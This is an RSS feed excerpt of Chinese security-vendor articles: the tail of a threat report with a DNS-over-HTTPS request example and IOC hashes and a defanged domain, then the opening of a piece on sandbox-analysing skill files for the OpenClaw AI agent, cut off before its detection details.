class="code-snippet__title">dns</span>-<span class="code-snippet__title">message</span></span></code><br/><code><span leaf=""><span class="code-snippet__title">content</span>-<span class="code-snippet__title">type</span> = <span class="code-snippet__title">application</span>/<span class="code-snippet__title">dns</span>-<span class="code-snippet__title">message</span></span></code><br/><code><span leaf=""><span class="code-snippet__title">content</span>-<span class="code-snippet__title">length</span> = 33</span></code><br/><code><span leaf="">&lt;33 <span class="code-snippet__title">bytes</span> <span class="code-snippet__title">represented</span> <span class="code-snippet__title">by</span> <span class="code-snippet__title">the</span> <span class="code-snippet__title">following</span> <span class="code-snippet__title">hex</span> <span class="code-snippet__title">encoding</span>&gt;</span></code><br/><code><span leaf="">00 00 01 00 00 01 00 00  00 00 00 00 03 77 77 77</span></code><br/><code><span leaf="">07 65 78 61 6<span class="code-snippet__title">d</span> 70 6<span class="code-snippet__title">c</span> 65  03 63 6<span class="code-snippet__title">f</span> 6<span class="code-snippet__title">d</span> 00 00 01 00</span></code><br/><code><span leaf="">01</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">协议详情请参阅 RFC-8484 文档。</span></p><div data-role="title" data-tools="135编辑器" data-id="170437" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;align-items: center;"><div style="flex-shrink: 0;margin-right: -16px;z-index: 4;"><div style="background-color: #ffffff;border: 1px solid #2c80f5;border-radius: 100%;padding: 3px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #2c80f5;width: 40px;height: 40px;display: flex;justify-content: center;align-items: center;border-radius: 100%;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">6</span></strong></p></div></div><div style="width: 100%;max-width: 100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #ebf7ff;padding: 12px 20px;box-sizing: border-box;"><p style="font-size: 16px;color: #2c80f5;text-align: left;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 18px;"> IOC</span></span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">恶意文件（MD5）</span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""><span class="code-snippet__attribute">d807fa4935124f8695e47006e123aca8</span> OneDrive.exe</span></code><br/><code><span leaf="">1aae5fcd62c5c6d5af8157638e236767 soc.exe</span></code><br/><code><span leaf="">281a38a42b7a7601e9ccf394de9aa5f2 OneDrive.dll</span></code><br/></pre></p><p><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">恶意文件IOC</span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf=""><span class="code-snippet__selector-attr">[*]</span><span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic </span></code></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">报告链接</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">分析报告：</span></p><p><span leaf=""><span textstyle="" style="font-size: 16px;"><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=f1d5891c2de3e55c0a0d740e172cdded&amp;sk=32236387" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=f1d5891c2de3e55c0a0d740e172cdded&amp;sk=32236387</a></span></span></p><div data-role="title" data-tools="135编辑器" data-id="170437" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;align-items: center;"><div style="flex-shrink: 0;margin-right: -16px;z-index: 4;"><div style="background-color: #ffffff;border: 1px solid #2c80f5;border-radius: 100%;padding: 3px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #2c80f5;width: 40px;height: 40px;display: flex;justify-content: center;align-items: center;border-radius: 100%;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">7</span></strong></p></div></div><div style="width: 100%;max-width: 100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #ebf7ff;padding: 12px 20px;box-sizing: border-box;"><p style="font-size: 16px;color: #2c80f5;text-align: left;"><strong data-brushtype="text"><span leaf=""> <span textstyle="" style="font-size: 18px;">技术与支持</span></span></strong></p></div></div></div></div><p data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;font-weight: bold;">天穹智能分析平台</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">（联系我们申请账号）：<a href="https://sandbox.qianxin.com" target="_blank">https://sandbox.qianxin.com</a></span></span></span></strong></span></p><div data-role="outer" label="edit by 135editor" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 677px;vertical-align: top;background-size: 100% 100%;background-attachment: scroll;border-style: solid;border-width: 2px 1px 1px;border-color: rgb(18, 94, 168) rgba(183, 217, 255, 0.39) rgba(183, 217, 255, 0.39);align-self: flex-start;flex: 0 0 auto;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=5d7eaeef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw%2F640%3Fwx_fmt%3Djpeg&#34;);background-position: 50% 50%;background-repeat: no-repeat;"><div powered-by="xiumi.us" style="-webkit-tap-highlight-color: transparent;margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(62, 62, 62);"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">天穹智能分析平台持续迭代升级，致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">如果您希望深入了解平台功能，或在使用过程中遇到任何问题，欢迎随时联系我们。您的反馈，是我们进步的重要动力！</span></span></p></div></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=db05ff56&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489127%26idx%3D1%26sn%3Dc6a10f332dbd4b32276444c9cd77f77b">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 15 Apr 2026 10:05:00 +0800</pubDate>
    </item>
    <item>
      <title>把“龙虾”装进天穹，高危风险全链检测</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489119&amp;idx=1&amp;sn=5982b1c8e435d8bfe007823fdbf6dafc</link>
      <description>天穹沙箱团队针对该智能体的安全风险展开深入分析，并推出了针对 OpenClaw 的运行分析环境，助力用户全面评估其安全风险，及时发现潜在威胁，保障设备与数据安全，安全“养虾”。</description>
      <content:encoded><![CDATA[<p><span>奇安信技术研究院</span> <span>2026-04-02 17:16</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4ce65780&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQSjGzxHEMdsLp64XfgF09sLK3ZB0HkibCMcafX6pan9sUQJrLeu21NYBuGZnZibkqUq6ZiaBZpI46RzfRWIMDnMy7WHM1Y3xmXdaHa9xenICyo%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>天穹沙箱团队针对该智能体的安全风险展开深入分析，并推出了针对 OpenClaw 的运行分析环境，助力用户全面评估其安全风险，及时发现潜在威胁，保障设备与数据安全，安全“养虾”。</p>
  <div data-tools="135编辑器" data-id="170432" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="display: flex;justify-content: flex-start;"><div style="margin-left: 20px;"><div style="display: flex;align-items: center;margin-bottom: -10px;padding: 0 5px;box-sizing: border-box;"><div><p style="font-size: 16px;color: #2c80f5;text-align: center;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">一、概述</span></span></strong></p></div><div style="flex-shrink: 0;padding-left: 7px;box-sizing: border-box;"><p style="width: 30px;box-sizing:border-box;transform: rotateY(180deg);-webkit-transform: rotateY(180deg);-moz-transform: rotateY(180deg);-o-transform: rotateY(180deg);"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 65.02 23.03" style="display: block;"><g data-name="图层 2"><g data-name="图层 1"><path d="M58.33,14.09,65,17.41V23L48.75,13.91V9.12L65,0V5.57L58.33,8.89l-4.85,2.49v.23Zm-33.95-5L40.64,0V5.57L34,8.89,29.1,11.38v.23L34,14.09l6.69,3.32V23L24.38,13.91ZM0,9.12,16.27,0V5.57L9.58,8.89,4.73,11.38v.23l4.85,2.48,6.69,3.32V23L0,13.91Z" style="fill: #84e3c6;fill-rule: evenodd;"></path></g></g></svg></p></div></div></div></div><div style="padding: 20px 12px;border: 1px solid #c1c9ff;box-sizing: border-box;"><div><div style="line-height: 2em;text-align: justify;color: #333333;text-shadow: none;letter-spacing: 1.5px;font-size: 14px;" data-autoskip="1"><p><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">2026 年初，开源 AI 智能体 OpenClaw（昵称“龙虾”）凭借本地部署、自主执行指令的特性迅速走红，引发“养龙虾”热潮，国内云平台及社交平台纷纷提供部署与代装服务。然而，工信部与国家互联网应急中心已相继发布预警，指出其存在信任边界模糊、权限管理缺失等安全隐患：用户若配置不当，可能导致设备被控、信息泄露或产生高额费用；同时，依据《网络安全法》，未履行安全保护义务者可能面临罚款乃至刑事责任。此外，使用过程需授权读取本地数据，叠加盗版插件风险，进一步放大隐私泄露隐患。因此，</span></span><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">天穹沙箱团队</span></strong><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf="">针对该智能体的安全风险展开深入分析，并</span></span><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">推出了针对 OpenClaw 的运行分析环境</span></strong><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf="">，助力用户全面评估其安全风险，及时发现潜在威胁，保障设备与数据安全，安全“养虾”。</span></span></p></div></div></div></div></div><div data-role="title" data-tools="135编辑器" data-id="170441" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="padding: 0 10px 5px 10px;box-sizing:border-box;"><p style="width: 48px;margin-left: auto;margin-bottom: -20px;z-index: 4;margin-right: -14px;box-sizing:border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7335285505124451" data-type="png" data-w="1366" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-width="100%" data-imgfileid="100005457" src="https://wechat2rss.xlab.app/img-proxy/?k=e235d79c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdsbASXvcdfeGhjGZ9vMqgficLw38JzKQf6DPsBqn6yibjs8z4VibNLrqjNF9V8Q1GGc6g6sR06ooFGcPXRrEbHUGQDeBPADXY9cUw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="background: linear-gradient(to left, #c6c2ff, #2c80f5);padding: 12px 30px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">二、样本信息</span></span></strong></p></div></div></div></div></div><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">样本名： weather.zip</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">SHA1： 4b55b19d040d643b6a760ca0940d2764b7632a8f</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件类型： ZIP (SKILL file)</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件大小： 2.83 KB</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">报告链接：</span><span leaf=""><span textstyle="" style="letter-spacing: normal;"><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=82b28536e64a7041a22fdbf1d66b2205&amp;sk=57008976" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=82b28536e64a7041a22fdbf1d66b2205&amp;sk=57008976</a></span></span></p></li></ul><div data-role="title" data-tools="135编辑器" data-id="170441" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="padding: 0 10px 5px 10px;box-sizing:border-box;"><p style="width: 48px;margin-left: auto;margin-bottom: -20px;z-index: 4;margin-right: -14px;box-sizing:border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005458" data-ratio="0.7335285505124451" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-type="png" data-w="1366" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=9e9d8e49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdvu6qxYuVE8ibaiar0Xez1jqSHWXFEuXq7mXFL63KoDSbr7T8miaYwOUBN4UecKSmgBfbke72oLicw9frCB9ungG8XqjbYrblDmts8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="background: linear-gradient(to left, #c6c2ff, #2c80f5);padding: 12px 30px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">三、环境选择</span></span></strong></p></div></div></div></div></div><p><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">为系统化评估 OpenClaw 智能体的安全风险，天穹沙箱团队基于 </span></span><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Windows 11 x86-64</span></strong><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""> 系统搭建分析环境，模拟用户在本地部署与使用该智能体的实际场景。分析环境配置如下：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005466" data-ratio="0.22376738305941846" data-s="300,640" type="block" data-type="png" data-w="791" src="https://wechat2rss.xlab.app/img-proxy/?k=19bdf0ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdvwzXC3K49KlXZUJIcWzQ7NAVn6SPljlfqcMR6TSIrV7SxvvDeexMvibx0sU0tTvLILSJqOjX0psgHjytZPrtOOT3mDxZiar6MPc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">天穹沙箱系统 OpenClaw 分析环境选择步骤如图 1 所示：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img alt="环境选择" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005459" data-ratio="0.6138888888888889" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7ff3d1e4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdsZaV8YgNoQ8qR5ufxiaAn2aROcgia79yZmXAfMjXOhthE7KDblCGrncowaa9gpF0Wl76laVwCMaQBWyYscVxVvKRibU3TmVaxufk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图1 OpenClaw 分析环境选择</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">上传样本后，使用默认环境配置，静态分析识别 SKILL 文件后系统会自动使用 OpenClaw 环境进行分析，或者手动选择 Windows 11 x86-64 系统进行分析。</span></p><div data-role="title" data-tools="135编辑器" data-id="170441" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="padding: 0 10px 5px 10px;box-sizing:border-box;"><p style="width: 48px;margin-left: auto;margin-bottom: -20px;z-index: 4;margin-right: -14px;box-sizing:border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7335285505124451" data-type="png" data-w="1366" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-width="100%" data-imgfileid="100005464" src="https://wechat2rss.xlab.app/img-proxy/?k=83f09104&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdt7T2FqnfnCNudg1Cd5jx0iaiaUNdVjyslPnyib6ks7yia6HkIVpsE0iaGbjJ93iaCOdKgWfP4TEWHfTnQteZsHibDoSwThZyNeYic33PE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="background: linear-gradient(to left, #c6c2ff, #2c80f5);padding: 12px 30px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">四、检测过程</span></span></strong></p></div></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">针对 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">SKILL</span></strong><span leaf=""> 样本的安全风险评估，天穹沙箱团队依托全链路行为深度建模与动态分析能力，对 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">SKILL</span></strong><span leaf=""> 样本进行了静态检测与动态检测，从多维度对样本进行研判，有效提升了对此类高级威胁的检出能力与响应效率。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: 